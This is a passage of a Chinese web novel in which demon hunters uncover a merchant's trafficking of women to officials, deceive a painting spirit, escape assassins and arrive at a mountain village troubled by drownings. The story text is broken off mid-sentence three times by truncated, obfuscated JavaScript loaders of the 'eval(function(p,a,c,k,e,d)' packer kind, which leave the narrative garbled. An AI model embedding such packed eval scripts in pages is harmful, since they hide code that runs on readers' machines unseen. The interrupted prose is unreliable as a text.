姐姐以为这一天是她新生活的开始,却不知道这一天是她短暂生命的终结。她的新郎不止一个,吴岭将她献给了一群从京城来的内侍,他们像对待傀儡偶人那样,操纵她,折磨她,厮打她。不过一夜,她仿佛老了十岁。 吴岭走进来对他们点头哈腰,谄媚地笑着,“这姑娘身家清白,绝对干净,您看是要带回去还是......” 那人看着身上的抓痕,似有不满地哼了一声,“上不了台面的东西,带回去惹人耻笑。” “哎呦,怪我怪我。”吴岭忙道:“下回您再来,我一定给您找着更好的。” 啪得一掌,吴岭愣了愣,女人拖着破败的身体,直勾勾地看着他。 那几人忽然都笑了起来。 “畜生!狼心狗肺不得好死的东西!” 她一边说着一边往外走,“我要去报官,我要告你!告你们私相授受,结党营私!” 正在笑着的几人笑容戛然而止,一个眼神抛去,吴岭便拉住了她,“你闭嘴,报官?你知道他们是谁吗?伺候这几位大人,是你的荣幸。我告诉你,嫁给我了就乖乖做你的小夫人,再敢多嘴,小心你性命不保。” “谁?哈哈哈哈哈!京城来的人呐,就算是条阉狗都比我们高贵......” 吴岭闻言心中一惊,急忙去捂她的嘴,被她咬下一道血口。 “不就是梁王吗?你,你们,我都认得,都是梁王的狗!梁王又是什么好东西?我管你们是谁!都通通给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一股强烈的鱼腥味涌入鼻尖,与尸臭、霉腥混合,熏得她眼眶通红。女人面容干枯,几乎只剩下一张皮挂在身上,血管清晰可见,皮肤上长满了可怖的斑点。 怔愣间,宝荣将抓在她脚上的手扒开,“别碰她,会传染的。” 不止是这一个人,推开门之后是比那条长廊更为肮脏狭窄的地方,女人的尸体,已经化作白骨的、正在腐烂的、开始腐烂的...... “余夫人不过是吴岭牟利的工具,他才是真正的凶手。诱骗女子替他赚钱,将她们送给大小官员供他们玩乐,为的就是聚敛财富,扩充权势。他搭上了梁王这条大船,每年都要给他送无数金银财宝,我们这些女子对他而言不过是卑贱得不能再卑贱的蝼蚁,随时可以碾死。身体健康的还好,若是被发现生了病,就会被拉来这里,不吃不喝,不给看病,直拖到死。” 说到这里,她拉住了温如珺的手,“他今日就是要故技重施,将你献给吴县新上任的刘知事。你和姐姐长得那么像,我躲在柜子里看着姐姐被一拳一拳打死,我没有出来,可是今日我已经长大了,我不能再看着你变成和她一样的下场。” 宝荣将一沓厚厚的信封交给了她:“这是这些年吴岭和各官员来往行贿的证据,我安排了一辆秽车,将你拉到府外,你去找官府找陈大人报官。一定要将吴岭绳之以法,救出这些被关在这里的姐妹。” “为什么你不自己去?” 宝荣笑了笑,带了几分悲凉与肃穆,“这里需要一个人拖住他。你放心去,我会尽力给你留出半柱香的时间。” “半柱香...你就不怕我跑了?” “能救一个是一个,跑了也好。若是能救出她们,就更好了。无论如何,我相信你。” 温如珺有一双看似温软实则坚韧的眼睛,和当年的姐姐一模一样,她一眼就看出来了。不会有错,她一定会带着这份沉重的消息到达官府,然后...... 终结她这一生最后的使命。 宝荣看着远去的秽车,露出了笑容。 吴岭,去死吧。是你不仁在先,那么便休怪我不义了。 —— 听到这里,李裕忍不住问:“温如珺被抓住了?” “没有。” “那她怎么?“他想问那她怎么还是死了。 “因为官府里也有他的人。”李裕和魏无笙看向来人,宋璋已经醒来,看向“温如珺”。 李裕道:“你怎么知道?” “李裕能在安平郡大肆敛财经商,没有大树背靠,哪儿会那么顺利。再说余宝荣早不说晚不说,非要等温如珺被害的这日说出真相,一定是近日发生了什么,被逼走投无路。温如珺不敢碰的病人她敢上手,又帮温如珺拖住吴岭,简直是不要命了。这说明什么?” “说明她和吴岭是一伙儿的,假意帮温如珺实则要害她?” 宋璋瞥了他一眼:“说明她也得了那种病,她也成了没有价值的女人,如果吴岭不管她,她就会像那些关在地牢里的女人一样,毫无尊严且痛苦地死去。伸头也是一刀,缩头也是一刀,就算是死,她也要拉吴岭一道死。 据说梁王的人经常来这里,你说如果他们知道了吴岭的这些罪状,他们首先会怎么做?” “杀了吴岭,解决麻烦。”李裕恍然。 “先顺从报官人的心意,替他们做主,拿到罪证,销毁之后,自然就是抹除最后一点痕迹。”魏无笙道。 李裕道:“一箭双雕,所以原来杀了温如珺的是官府的人。” “是余宝荣、余夫人、吴岭,那个小厮...他们所有人,一同杀了她!每个人手里都沾了血,都从她身上榨取价值,他们一刀一刀杀了她,将她推向屠宰场,追溯其源,罪魁祸首就是那该死的王冕!” 李裕忍不住道:“你就是因为这样杀了他?可是他也不想这一切这样,他甚至根本都不知道这些。” “一句不知道不想就可以推卸责任了吗?如果不是他,这一切都不会发生,他要还他的恩,凭什么要珺娘和浩儿替他?他已经成了婚,是一家之主,就要挑起妻儿的责任。他在想着还自己恩人的情谊的时候可曾想过自己妻子对他的恩情又该如何偿还? 他若是个男人,非要去报恩,大可自己卖身卖血去还恩,就是死在外面了也还该愧对妻儿,拖累他们半生。 王冕变卖家产,当尽嫁妆,将亲友钱财借遍便缩起头做乌龟,让珺娘一人带着孩子面对这一切,他回来之后对我稍加体恤你们便对他交口称赞,每个人都赞他有情有义,侠肝义胆。他名声尽享,即便吃再多的苦也是他得到的。珺娘呢?她得到了什么? 一个贤惠的妻子,王冕的夫人?这种东西还不如狗嘴里啃的骨头,分文不值!他是趴在妻儿的身上吸血供自己过活,还要踩在她身上耀武扬威。这种人,死有余辜!便是再杀一千次一万次也死不足惜。” 45. 第 45 章 李裕道:“这些不过是你一面之词,谁知道是不是你害死的温娘子,害怕事迹暴露,所以顺势杀害其他人。” “他没有撒谎。”宋璋道:“你不是说过自己不是捉妖师么?” “这妖孽杀了这么多人,还在吸□□血,除掉他也算替天行道。”李裕没有被眼前这女子的话打动,他只觉得不可信。 宋璋拦在了“温如珺”面前,指向了那幅画,“她没死,他说的话都是真的,如果不信,你可以去问她。” 李裕方才便见画中似有玄机,原来温如珺的魂魄就在此。 当他靠近时却轮到“温如珺”不愿,他抓住了画轴一端要将它收拢,“不行。” 李裕有些不耐,“为何不行?怕你的谎话被揭穿?” 他稍稍一用力,这妖怪就被他推倒在地,“还给我!” 女子有些狰狞地去扯他,一个稚嫩的孩童从屋外跑来,对着李裕一阵拳打脚踢,“不许欺负我娘!” “他不是你娘,他是杀死你娘的妖怪,快跟我们走。”李裕赶忙将浩儿拉起,浩儿却拉住温如珺的手不放。 “我哪儿也不去,我要在娘身边待着,该走的是你们!”浩儿小小的眼睛里满是愤怒,“如果不是你们,我们一家人都过得好好的。都是你们把他带回来!” “你说的他是谁?”李裕和“温如珺”都有些讶异。 “娘死了,第二天她又活了。”浩儿回忆起“母亲”的模样,她和娘长得一模一样,可是走路的姿势很奇怪,做的饭也很难吃,不会洗衣服不会扫地,可是她和娘一样疼我。渐渐的,她就和娘一模一样了,白天我和她在一块儿。到了晚上,我就和她一块去梦里陪我真正的阿娘,梦里的阿娘永远都很高兴,爹爹带着许多钱回了家,给我们买了好多好吃的,赎回了卖掉的东西。他每天白天出去,夜里回来,阿娘就在家做针线。 可是我知道,那个人不是王冕,尽管他和他长得一模一样。” 浩儿看向了“温如珺”,“娘,去吧,去告诉她真相。也让她见见你真正的模样。” “温如珺”震惊地不敢去触碰,原来他早就知道,“你...你不害怕我?” 浩儿温暖的小手在她脸上轻轻摸了摸,“阿娘,你既是我阿娘又是阿爹,你是我最亲近的人。” 李裕此刻有些凌乱,“又是阿爹又是阿娘?这什么乱七八糟的关系?喂,你看懂了吗?” 魏无笙道:“画灵本无性,因爱慕生出男魂,又因爱意甘居女身。” 李裕抽了抽嘴角,“你一句话不说,看热闹倒是看得明白。” “我看的不是热闹。” “那是什么?” 魏无笙扬了扬胸前的玉,“它感应到了第二块神镜的下落。” 他目光落在了那女子身上,只是因情浓便能使画卷生灵,普通凡人可做不到,只因她体内有神镜碎片,灵气滋养,因而生出这灵物。要拿到第二块碎片,得杀了她。 “我知道温娘子在担忧什么,你为了保住她的残魂,将她封印在画里,每日从购得骨灯的人身上吸取精气供她生存,你做了这么多,都只是为了成就她的那个美梦。那个夫妻和睦,子孙承欢的梦。 可是连浩儿这么小的年纪都知道你不是他的亲生母亲,你觉得难道真正的温如珺会认不出自己朝夕相处的丈夫么?” “温如珺”缓缓看向了他,魏无笙知道接下来他最想听到的是什么,他心中暗笑,脸上越发认真道:“画虎画皮难画骨,你披着你最厌恶的人的皮扮作他的模样和她共度了多少个夜晚,你难道就不想用真实的自己去面对她?” “她会失望会难过的。”“温如珺”目光呆滞,眼含泪水,“知道了这一切都是假的,知道了她的死亡,她的丈夫根本没有回来帮过她......这一切都是一场梦,她会难过的。” “是她难过还是你?”魏无笙盯着女子的眼睛,循循善诱,“是你在害怕,你害怕她不接受你,你害怕说出真相时她看你的眼神,更害怕她厌恶你,害怕你。” 他看见女子秀气的眉毛蹙起,他微微抿了抿唇,压制笑意,眼睛里透出月牙儿般柔和的光,“不会的。她一定早就知道了,她在等你,等你以真正的自己出现在她面前带她离开这里。 ” “离开?”他嘲弄地笑了笑,“不,她不会跟我走的,我只是一具依附她生存的游灵,离开了她,我能去哪儿呢?” “你没有听过九玄宫吗?”魏无笙看着神色迷惑的女子,温柔一笑,仿佛在为她指点迷津,“天生万物必有法,虽说灵鬼杀人害法当诛,魂飞魄散,可若有悔改之心,往九玄宫历经九法历练,便可洗心换髓,自此和常人一般投胎为人。” “温如珺”闻言猛地看向了他,呆滞的神色中焕出光彩,随即又道:“可是浩儿......” 他是她的执念所化,托身成为女子,不止为保留她的身体,也为了她的孩儿。父母双亡的孩子,注定在这世上命途多舛,如果他走了,浩儿该怎么办? “我会把浩儿带回陈丰府邸中,请人细心教养,那里的文士武官个个都是有真才实学的,便让浩儿在我府中长大,若要考功名,我全力支持,若不考,便在我府中替我做事,也算有一份差事。” “温如珺”点点头,放下了心中最后一桩挂念,心念一转,当着众人消失进入了画卷之中。 宋璋和浩儿忙接住了她倒下的身体,片刻后便见一缕残魂从画卷内飘出,跟着向西边飘去。画卷倏尔燃起火焰,浩儿大哭着扑了过去,“阿娘!不要走!不要丢下我!” 宋璋没拉住,浩儿的手触碰到火焰,却丝毫没有被烫伤,蓝色的火焰渐渐吞食掉整张画卷,化作一个风姿飘逸的和那残魂有七八分相似的郎君模样随着往西边去,渐渐消失。 “你怎么知道真正的温如珺会这么快接受他?”李裕问道。 魏无笙笑了笑,耸耸肩,“我不知道啊,或许他也没说实话,不过这不重要。” “重要的是他已经找到了一个可以去死的理由,这是你所认为重要的,是吗?”宋璋转过身来看着魏无笙,只觉不寒而栗。 “你何时变得如此天真了?”魏无笙看着她,用无奈的语气笑了笑。 不知何时,面前的“温如珺”的身体也开始四散,作一团蓝色的萤火,又渐渐合并,成为一大块碎片的模样,立在空中。它照映出魏无笙微笑的面庞和宋璋冰冷的眼。 “你的手也这么冷么?”魏无笙的手指覆在了宋璋拇指上,她也握住了碎片,两人谁都没有松手。 “你在骗他。世上根本就没有九玄宫这种东西。”宋璋道。 李裕加入了进来,一把夺过了碎片,局势很快分明,他笑嘻嘻道:“他可没骗人。真有九玄宫的,只不过呢那地方进的多出的少。”他掰着手指头算了算,“大概一百个人里也就两三个能顺利转世投胎。” “那剩下的呢?” “不是死在九玄宫的前八玄上,就是一辈子熬在某一玄上,迟迟进不了下一玄。“李裕颇为赞赏道:”还是三郎行啊,不鸣则已,一鸣惊人。“ 魏无笙笑了笑,将他手中的碎片拿走,放进袖袋中。 宋璋拦在了他面前,仿佛在质问。质问什么?他想,左不过是些儿女情长,骗人?他可不算。确实有这么个地方,可以让那画灵拥有一个和心上人在一起的机会,只不过要等,一个等上一百年,一个要等一碗汤的时候,从此便忘了那画灵,前生也好今生也罢,全部一笔勾销。没说进去百十个出来一个?那他也没问呢,何况他们情深义重,他肯定能成为那百分之一。 从始至终,他没有说过也没有逼迫他做什么,他只是告诉他有那么一个办法,那么一条路。她质问他什么?又为何用这种眼神看他?一想到这样的眼神,他有些不高兴。 “你不相信他对温如珺的感情?” “你明知道这不关情意深浅。” “怎么不关,九玄宫筛选的本就是有毅力之人,或是仇恨,或是爱恋,只要执念够深,便足以驱人度过重重难关,转世投胎,重获新生。” 宋璋觉得他分明在诡辩,“若是换成你进去,恐怕连一玄也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魏无笙被李裕拉去了自己的房间,独坐时,他笑意渐淡,再次回忆起了那张字条的内容。 做的好吗? 他本以为老师会训诫他。 他对宋璋的做法实在算不上高明,本可以有更多稳妥的处置,他却选了最直接,最恶劣的一种。威胁、恐吓,引诱,和她结了子母契…… 对这画灵,只有他知道,看着他的那一刻他体内的恶忍不住出来作祟。他在克制,本来李裕可以直接杀了他,让他魂飞魄散,那块镜子自然也就是他的。可他及时克制住,带着几经压制过的恶给他指了一条路,供他选择。 虽然是几乎等于零的选择。不过是从一条死亡走向另一条,宋璋说他在为难他,的确是,他也想考验他,考验之下,存着另一种恶趣。 不是说他是她的执念化身吗?那他倒要看看这执念有多深?若是撒谎,就让他沉沦毁灭在自己的谎言里,化作九玄宫的泉水,流入无间地狱。 谁说没有人知道?李裕还有宋璋都知道,稍微懂行一点的修行人都知道,他这不甚高明的骗术,只能骗到这愚蠢的画灵。 他锋芒外露,恶贯满盈,师父居然夸他做得好?他先是有些迷惑,继而又想通了一些,是因为妖吗? 妖比人低一等,所以无畏无伤。他可以放开手脚,其实不用说,没了师父和府中人的训诫,他感觉日益轻松起来。 他长舒了一口气,将字条扔到了一边。 砰砰砰,门忽然响了。 他警惕起来,不是李裕的声音。隔着灯影,恍惚勾勒出一个女子的模样,是宋璋? 门外的影子顺着门框滑倒,他慢慢走过去,半信半疑地拉开了门,果见宋璋满头细汗,紧咬下唇,一副难受的模样。 一见人开了门,她那双细长的指甲便紧扣在他手臂上,“给…给我……” 魏无笙心中微动,“给你什么?” “灯……点灯……” 他皱了皱眉,这是烟瘾犯了。上次点了一次那该死的灯她就失了心智一般,差点葬送在画灵手里,算算已经两次了。可是那不是曼陀罗,只是画灵自绘的幻梦,画灵已散,她到底在对什么上瘾? 46. 石娘台 她双手已深了上来,冰凉的手触及温热的肌肤,细密的一层鸡皮疙瘩布满全身。他没有阻止,而是浑身僵直着静静观察着她接下来的举动,他的外衣被缓缓退下,那细长的手指从颈边伸向了里衣中的灵玉。 他顿时清醒过来,带着十分的冰冷,“这玉取不下来,连刀也断不了。” 那双手的主人神色一僵,慢慢地要收回手,却被魏无笙一把抓住。“还真是这样,怎么,现在觉得我靠不住想过河拆桥了?” “取不下来,那怎么系上去的?睡觉也带,洗澡也带?”她嘴里咕哝着,眉头微皱,也不嫌硌得慌,谁会相信? “我记得你之前害我的时候可一点不手软,我还没像你之前那样狠毒,你竟怕起我来了?宋璋,你坏事做尽,现在装什么好人?” 刚才房里不知道点了什么香烛,又香又浓,浓得人发昏发冷。也不全是装的吧,顺势而为而已。魏无笙的房间就没有这种香味,他喜欢开着窗吹冷风,想到风,她这会儿又觉得有点冷了,好困呐。 哈~ 她一手被拽着,一边不紧不慢地打了个哈欠。 ?“喂?你是不是觉得我不会对你怎样!” 她这是什么态度?他觉得心中的怒火更旺了。 阵阵暖意从眼前的人身上散发出来,仿佛一块散发着热气的石壁,不,比硬邦邦的石壁舒服得多。好困啊—— 上一秒还在哈欠,下一秒就像一具尸体一样直挺挺倒在床上,背脊随着微弱的呼吸起伏着。魏无笙还抓着她的手,缓缓松开,彻底沉默了。 他是抓到她的睡穴了吗? “别装了,就算你想赖在这里也是不可能的。”“回你自己房间睡去。”“喂!” 没有回应,他定定看了她一会儿,将她连人带被子端了起来放在了地上。 接着他将蜡烛吹灭,回到了温软的床榻上,放下帘帐——守株待兔。 没过一会儿,窸窸窣窣的声音响起,尽管脚步声不算很大,但晃动的人影让他睁开了眼。下一刻,帘帐拉开,想象中的触摸并没有发生,她大力拍打着他的手臂,声音似有些急促, “别睡了,你听见了吗?” “听见什么?”他皱着眉坐了起来,黑漆漆的一片,什么声音也没有。 “声音啊,好多人的声音,脚步声很乱,还带了一堆东西丁零当啷的,里面应该有刀。”她俯身将耳朵贴近床塌,魏无笙略微不自在地往旁边挪了挪。 “你又想耍什么花招?” “你聋了?明明那么明显......” 她正说着,忽然听了下来,拉紧了他的衣袖,转过头怔怔地望着门边。“嘘——来了......” 一炳短箭破窗而入,钉入了床柱,箭尾一股浓烟在漆黑的夜里随着红光闪烁。他立即捂住了自己的口鼻,对宋璋使了个眼色。 刚走到窗边,就听见门从外面被推开,十余人鱼贯而入。刀光照亮了他的面庞,他们迅速锁定了他,不消多说,众人拿起刀砍了过去。 宋璋感觉到手腕更紧了,她看了一眼身边的人。魏无笙拿过长剑,手指在剑间划破,顺着尖划到剑尾,银光闪烁。她也神色紧张,抄起一旁的烛台准备应对接下来的一场恶战。 “杀!” 魏无笙抄起长剑朝着众人扔了过去,宋璋紧随其后,将烛台砸到其中一个黑衣人身上,还没来得及抄起下一把武器,忽而一道巨大的力气从身后将她拽了过去。 接着身体一空,她看见窗台上的那盆花跟着她一块儿掉了下去,漫天星空,满月莹润...还有春风料峭...... “你疯了?这里是三楼!” “摔死也比被乱刀砍死强。” 魏无笙的声音从底下传来,她一时无言。他比她跳得早,落地速度比她快,算了,摔死也是他先当肉垫。 她没有摔断骨头,一柄长剑稳稳托住了她,尽管是在距离地面只有一尺的时候...... 还没站稳,他便拉起她跑了起来。穿过几条曲折的巷子,全凭着一口气,她扶着墙直摇头, “不行了不行,你杀了我算了,再跑就要死了。” “真没用,一个大的,一个小的,两个拖油瓶带着,还怎么赶路?”李裕背着浩儿从巷子转角走了出来。 宋璋惊奇,“你怎么知道我们在这儿?” 李裕拿出手中笛子晃了晃,“传音。” 他昂起头对魏无笙道:“这儿已经没人了,还不快走?” 宋璋摆摆手,“走不动了,除非你......” “啊——”魏无笙抓起她的手, 下一刻她发现刚才的那柄剑在放大,两人一同站在了剑上,正缓缓向上空升起。脚下的景物越来越远,越来越小,坠落的恐惧感袭上心头。 她只看了一眼,即刻收回了目光,心脏狂跳。 感觉到手臂被抓紧的魏无笙嗤笑一声,“做妖做到你这份上还真是窝囊,你自己没有用过飞升术么?” 她恶狠狠瞪了魏无笙一眼,“你才是妖怪。” “还是你爹娘是妖没有告诉过你,所以生了你这只蠢妖,不知道自己的身份,也不会使妖术,还好是碰到了我,若是遇见别的大妖,或是捉妖师,哦,还有钦天监那帮人,捉了你去给皇帝炼丹,死都不知道怎么死的。” 人在剑上飘,不得不低头,她暂时没打算理会他,暗暗白他一眼。“你这剑这么厉害方才为什么不用?” 见了人却像鼠辈逃窜。 “若被人知道我的灵玉,杀我的人就能绕着方才那条巷子十圈了你信不信?” “他们是谁?为什么杀你?” “我们的淮南王殿下,我的皇叔。他估计早就盯上我们了,知道我要去找他的麻烦,连夜派了人过来。” 现在轮到宋璋笑了出来。 “你笑什么。”魏无笙冷飕飕看向了她。 “没什么,皇室纷争嘛,很正常。” “你是想说我这种人被亲叔叔追杀很正常吧。” “你这种人……哪种人?”宋璋百无聊赖地玩起了他的袖子。 “你心里知道。”在她心里,总之他不是什么好人。 “我不知道,别给我乱扣帽子。”她似乎还认真地想了想,“你…顶多算是不择手段,也不是什么坏词,要说什么人,我也不知道,其实在我眼里人都是差不多的,有什么差别吗?” “那那个舒玄礼也差不多?”魏无笙不信她这番说辞,她诡诈多变,见人说人话,见鬼说鬼话。现在不过是迫于情势,说些违心之言罢了。 “他不一样。” 呵,果然如此。 “有什么不一样?” “他和其他人不一样,他又好看又温柔又有才华。” “这样的人世上一抓一大把,目光短浅。” “可是他喜欢我,我也喜欢他。这样的人世上只有一个。” 魏无笙默了,一时想不出反驳她的话。好像的确有点道理。 “所以你宁愿做我的奴仆,与我定下契约,置生死于不顾也要找到他。你这是把全身心都丢在了他身上,值得吗?” “我觉得值就够了,旁人说的以为的没有意义。”她在警告他,最好不要过多议论,自以为是地大行教导。 然而魏无笙却并没有这个意思,只是似乎想到些什么,若有所思。 他不说话了,她乐得自在。权当是兜风,坐了这么久的剑,她也没有一开始那么害怕,渐渐睁开眼来。 底下一片一片的翠色,接着是大片的黄色……水青…… 那是什么?她眯了眯眼,试图看清前面模糊的水波似的东西,怎么有点眼熟。好像和竹林里的结界有点像…… 结界…… 随着距离逐渐拉近,她渐渐看清了那模糊的波纹,好像真的是结界! 她赶忙猛拉魏无笙的袖子,一边喊:“快停下来!前面有结……” 然而已经来不及了,她话还没说完,这炳剑就以高速冲开了一道缝隙,接着她感觉浑身一颤,像一只被剪射中的鸟直直地往下坠。 嘭得一声又一声,四人齐齐摔在了地上。 嘶—— 宋璋感觉右半边手臂和腿都麻了,想要坐起来却觉得一阵剧痛,根本使不上劲,接着又倒在了地上。 魏无笙却似乎没什么大碍,摔下来的一瞬,灵剑便感受到失控的危险,率先保护了主人。 “没摔着吧?”李裕跟着魏无笙走了过来,抱臂笑着看魏无笙将她扶起,一手拉着浩儿走了过去。 她咬牙看着魏无笙和走过来的李裕,“你们有灵物保护也就算了,为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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浩儿的肚子此时咕噜噜响了起来,李裕笑了笑,“也好,我也饿了,我去看看有没有什么能吃的。” 李裕离开后,魏无笙便生了一盆火,一边让浩儿坐在火盆前,“在天上的时候你怕不怕?” 浩儿摇摇头,“不怕,我第一次飞上天,很高兴。” “那你冷不冷?” 浩儿想了想,“有点儿,不过现在不冷了。” 看着浩儿的笑容,魏无笙不由也笑了起来。落在宋璋的眼里,阴阳怪气地哼了一声。没人了还装,就装吧他。 宋璋瞥了二人一眼,绕过他们往屋外走去看李裕,怎么还不回来?她也饿了。 正盼着,就见李裕拎着一包东西回来,打开包袱,竟是一只卤鸭,两个果子,还有一壶酒。 宋璋瞪大了眼睛,“你连酒都有啊,从哪儿找的?” 她以为的出去找找是去猎些野鸡野兔之类的,想不到拿回来真么多熟食。 李裕一边打开包袱,一边道,“那边那个石像那里拿的贡品,也不知道贡的谁,不像是神仙也不像鬼怪,反正是一对男女,不管了,先吃了再说嘛意。” 四人不一会儿便围坐在火盆前取暖。宋璋在温暖的火盆前昏昏欲睡,忽而一阵脚步声传来,大门被猛然推开。 下一瞬,手里的鸭翅被一只长竿打落。她有些生气地抬头,就见穿着各异的几名男女满眼戒备地望着他们。 “你们是谁?竟敢擅闯石娘台,还敢吃石娘的贡品!” “误会误会,我们不是故意要偷贡品的,实在是太饿了。”李裕解释道。 “误会?”那人冷笑着,将一支长叉叉在了李裕颈边,他便在原地不能动弹。 “别以为我不知道,你们又是从断背山偷偷翻过来的,把东西交出来,赶紧滚!” 魏无笙闻言将手里方才还没握热的贡品悉数放了过去,“对不住,对不住,真是个误会。” 那人没理会他,“还有呢?” “没了,都在这儿了。” “还不说实话,阿宽,你去搜他,阿芳,你搜那个。” “哎哎哎,干嘛呀,你们这也太过分了,都说了不小心进来的,你们还要找什么呀?” “找石头?” 李裕疑惑道,“什么石头?” “不贰石,也叫真情石。把它带回去送给爱人就可以和你心爱之人恩爱白头,忠贞不二。” 47. 石娘台 李裕道,“不贰石?我们真的不知道这什么石头,再说了这什么传说谁信这个啊。” 那村民闻言又要用长竿打他,“你敢对神灵不敬!” 李裕忙躲开他的攻击,“干什么,反正我们是无意中来到这里的,不是有意打扰你们。” 天知道这里是什么禁地。 那村民冷哼了一声,显然并不相信他的说辞,“你知道这山有多高吗?无意……你别告诉我你不小心从山下爬到山上,还不小心躲开我们这么多人的视线去了石娘故居。” 李裕道,“别打别打,其实我们是捉妖师,正追着一只鸟妖呢,结果不知道为什么撞破了你们这儿的结界,就掉到这里来了。” “捉妖师?”那拿竹竿的人打量了一番李裕的穿着,冷笑了一声,“你说是就是啊,谁信你?” 明显是个富贵公子哥,结伴来这里寻幽探秘,想偷他们的灵石。 他对着众人道,“大家快把他们抓出去,免得惊扰了石娘。” 众人将四人围了起来,唯有那名叫阿芳的女子却有些犹豫,她对身旁那位看起来颇有威望的老人说了些什么。 正在这时,忽然远处灯火大亮,又一群人朝着他们跑了过来,一边大喊,“不好了,不好了,又有人落水了。” 众人闻言都大惊,没顾得上李裕纷纷往另一边跑去。李裕怪道,“什么情况?” 魏无笙道,“过去看看吧,反正我们不认路自己也下不了山。” “你们…真是捉妖师?” 他注意到刚才的那个女孩儿并没立刻离开,而转过身狐疑地看向了他们。 魏无笙点点头,他拿出了一张萤火符,瞬时一圈荧光团聚在了掌心,朝着女孩四周围绕过去。 阿芳脸上露出了惊喜的神情,“是真的,好厉害啊!” 李裕道,“这下信了吧,我们才对你们那石头没兴趣呢。” “我相信你们,那你们跟我来。” 阿芳带着他们一路小跑到了人群围着的地方,只见地上躺着一具尸体,还有一家人蹲在旁边哭泣。 “我可怜的孩子啊,怎么就被这水妖缠上丢了命啊——” “孩子,你醒醒啊,你是娘的命根子啊——” 骤然凝聚的萤火吸引了众人的注意,一位年长些的老者回过头来看向了宋璋一行,“这是? 阿芳介绍道,“阿公,这是外面来的捉妖师,他们说捉妖的路上意外掉下来,落在石娘台了。” 村长闻言仔细打量了他们,接着忽然走上前跪下,“几位师傅,求求你们救救村里的孩子吧。” 这老人猛地跪下,吓了李裕等人一大跳,忙将他扶起,“使不得,使不得,有什么话好好说,大家一块儿商量嘛。” “这事只有你们能帮我们。”村长定定看着李裕。 “究竟是什么事您先说。”李裕看了一眼那两边脸色发白的男女,“不过我们也只是捉妖师,不是神仙,那起死回生什么的我们可做不了。” 村长道,“不是起死回生,是捉妖。我们这儿有妖怪作祟。” 这座村子叫长情村,五十年前原本只是一个普通的村落,因为祖辈中出了一对极为深情的夫妇,他们因为一些原因搬到了毛山居住,也就是现在的石娘台山。原来的毛山森林密布,鸟兽众多,远远不如现在漂亮宜居。 “石娘搬到山上之后有时也要下山采买东西,山路难行,还经常下雨,她经常摔跤受伤。” “不对,石娘不是神仙吗?怎么又成了你们的祖辈?”李裕问的也正是宋璋心中所想,刚刚那山叫石娘台,供奉的雕像也是石娘的,又说有神迹,那神仙应当就是石娘吧? “不是不是,神仙的事是在这之后才有的。”阿芳跟着村长的话后解释道, “石娘阿婆原名叫吴桂香,石阿公叫孙田平。孙阿公为了阿婆出行方便,花了整整五年,一个人徒手凿出了六千六百六十二级石梯,他们两人携手隐居了四十年,直到死亡也没有分开过。两人的爱感动了天上的神仙,女娲娘娘便来到这里,赐给此地福灵。 当时周边村子的人都看见了神迹,都想带一块神石回去,据说这样就能保证爱人的心如磐石一般坚定不移,一生恩爱。每年都有各郡各县的人要来石娘庙。” 说到这里,阿芳似乎有些不好意思,“因为来的人太多,经常破坏石娘台的东西,玷污灵气,所以后来大家就决定让石娘台每年只开一次,持续三日,只有这三日外人能来这里祭拜求福。就算这样,还是有一些人偷偷爬山过来,所以你们刚刚出现在这里才会被误会。” 李裕道,“为什么要在山里住?石娘太婆不心疼太公吗?” “因为住不下。” “住不下是什么意思?” “太婆和太公是兄妹,在他们年轻的时候算是一桩天地不容的□□丑事。村子里的阿公阿婆都议论他们成婚的事,阿婆不高兴,所以就搬到了山里。” 李裕闻言长哦了一声,“原来是被赶上山的。” 那村长似有些不悦地咳嗽了两声,“这都是当年的老黄历了,诸位还是先看看我们这的水妖才是正事。” 李裕笑了笑,被魏无笙用眼神制止,他温声道,“你们怎么知道那里有水妖?” “每年都有人失足掉进水里,短短十几年,那湖里已经死了好几百人了。” “失足落水不是很正常么?但凡村里有口井的跳湖的也不少见呢。”李裕道,“这世上的烦心事儿这么多,你们见过水妖的样子么?怎么就断定是妖怪作祟?” “绝不可能是跳湖!”村长显得有些激动,手边的拐杖敲得地面咚咚响,“我们村是有神明庇佑的地方,家家有田户户饱暖,说得大一点儿,和那桃源仙村也没什么区别。你去村里打听打听,谁家不高兴着,日子过得好好的怎么可能有人跳湖。” “老人家,你这话也太绝对了。”李裕抽了抽嘴角,“人不是吃饱穿暖就没烦恼的,还有其他的事呢,感情受挫啦、学业不精、父母责骂呀都有可能……” “村里的娃都不上学。”村长哼了一声。 “那男女相交总有吧,说不准也有人殉情的。” “那更不可能!”村长颇为自得道,“我们村受女娲娘娘庇佑,村中人人感情好,夫妻和睦,恋人和谐,忠贞不二,你上附近打听打听,这是出了名的。” 李裕觉得这和这老头说话仿佛对牛弹琴,“总有那么一两个……” “你到底能不能行?”村长不耐道,“我说有妖就是有妖,我在村里这么多年,难道不比你更了解情况?” 魏无笙见状道,“村长莫怪,他也是想将情况问清楚些。您说有水妖作祟,我们明日便去那湖边看看。” 村长看了一眼李裕,又看了看魏无笙,脸色稍霁,“还是这位师傅有道行,那就摆脱师傅了。若能除掉这水妖,我们全村必定奉上厚礼答谢。” “捉妖本就是我们本分,您客气了。” 村长笑道,“那就不打扰你们了,阿芳,你将几位贵客好好安顿下来,我还要去三毛和小水家里看看。” “我知道了,阿公您去吧。” 村长走后,阿芳开始给众人安排房间,“这一间是李郎君的,这一间是宋娘子和魏郎君的,家里就我和阿公两个人,李郎君住的那间一般用来放杂物,所以会有些狭小,不过灰尘我都擦干净了,李郎君放心......” 阿芳正说着,却被宋璋打断,“我和他不住一间。” 阿芳愣了愣,“为什么?” “不熟。”她简明扼要。 阿芳疑惑地看了两人一眼,“你们不是夫妻吗?” 